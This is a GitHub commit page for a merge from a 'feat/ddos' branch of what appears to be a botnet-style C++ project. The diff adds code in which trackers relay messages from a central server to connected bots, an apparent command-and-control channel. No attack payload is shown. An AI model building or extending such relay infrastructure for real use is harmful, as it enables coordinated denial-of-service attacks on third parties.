Skip to content

Commit

Permalink
Merge pull request #26 from PoCInnovation/feat/ddos
Browse files Browse the repository at this point in the history
Server to bot messages
  • Loading branch information
Bqleine committed Aug 24, 2023
2 parents afba6e3 + f58069b commit 89b4555
Show file tree
Hide file tree
Showing 11 changed files with 603 additions and 153 deletions.
2 changes: 1 addition & 1 deletion client/Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@ SRC = main.cpp \
upnp_init.cpp \
upnp_actions.cpp \
Bot.cpp

SRC_UPNP = upnp.cpp \
upnp_init.cpp \
upnp_actions.cpp
Expand Down
Binary file modified client/client_server
Binary file not shown.
2 changes: 2 additions & 0 deletions client/src/Bot.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -28,8 +28,10 @@ Bot::Bot(asio::ip::tcp::socket &socket) : _main_server(socket),

void Bot::connectToTracker()
{
std::cerr << "Hello\n";
for (auto tracker : _trackers) {
try {
std::cerr << tracker << std::endl;
asio::ip::tcp::endpoint endpoint(asio::ip::address::from_string(tracker), 3612);
_connection_tracker.connect(endpoint);
break;
Expand Down
1 change: 1 addition & 0 deletions client/src/TypeGuesser.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -61,6 +61,7 @@ static void server(void)

}

/// Connects to the server and asks if it should be tracker or bot
void TypeGuesser::connect(const std::string &ip)
{
asio::ip::tcp::endpoint endpoint(asio::ip::address::from_string(ip), 9570);
Expand Down
11 changes: 7 additions & 4 deletions client/src/main.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@ void bot(asio::ip::tcp::socket &socket)
b.connectToTracker();
}

void tracker(asio::ip::tcp::socket &socket)
[[noreturn]] void tracker(asio::ip::tcp::socket &socket)
{
asio::io_service io_service;
asio::ip::tcp::acceptor acceptor_server(io_service, asio::ip::tcp::endpoint(asio::ip::tcp::v4(), 3612));
Expand All @@ -26,9 +26,12 @@ void tracker(asio::ip::tcp::socket &socket)
}
});
while (true) {
asio::read_until(socket, asio::dynamic_buffer(received_buffer), "\r\n");
std::size_t n = asio::read_until(socket, asio::dynamic_buffer(received_buffer), "\r\n");
std::cout << "Sending message to all bots: " << received_buffer << std::endl;
std::string line = received_buffer.substr(0, n);
received_buffer.erase(0, n);
for (auto &client : clients) {
asio::write(client, asio::buffer(received_buffer));
asio::write(client, asio::buffer(line));
}
}
}
Expand All @@ -39,7 +42,7 @@ int main()
asio::ip::tcp::socket mainServer(io_service);
TypeGuesser guesser(mainServer);

guesser.connect("192.168.0.12");
guesser.connect("192.168.1.29");
std::cout << "guesser: " << static_cast<int>(guesser.type()) << std::endl;
switch (guesser.type()) {
case TypeGuesser::Type::Bot:
Expand Down
Loading

0 comments on commit 89b4555

Please sign in to comment.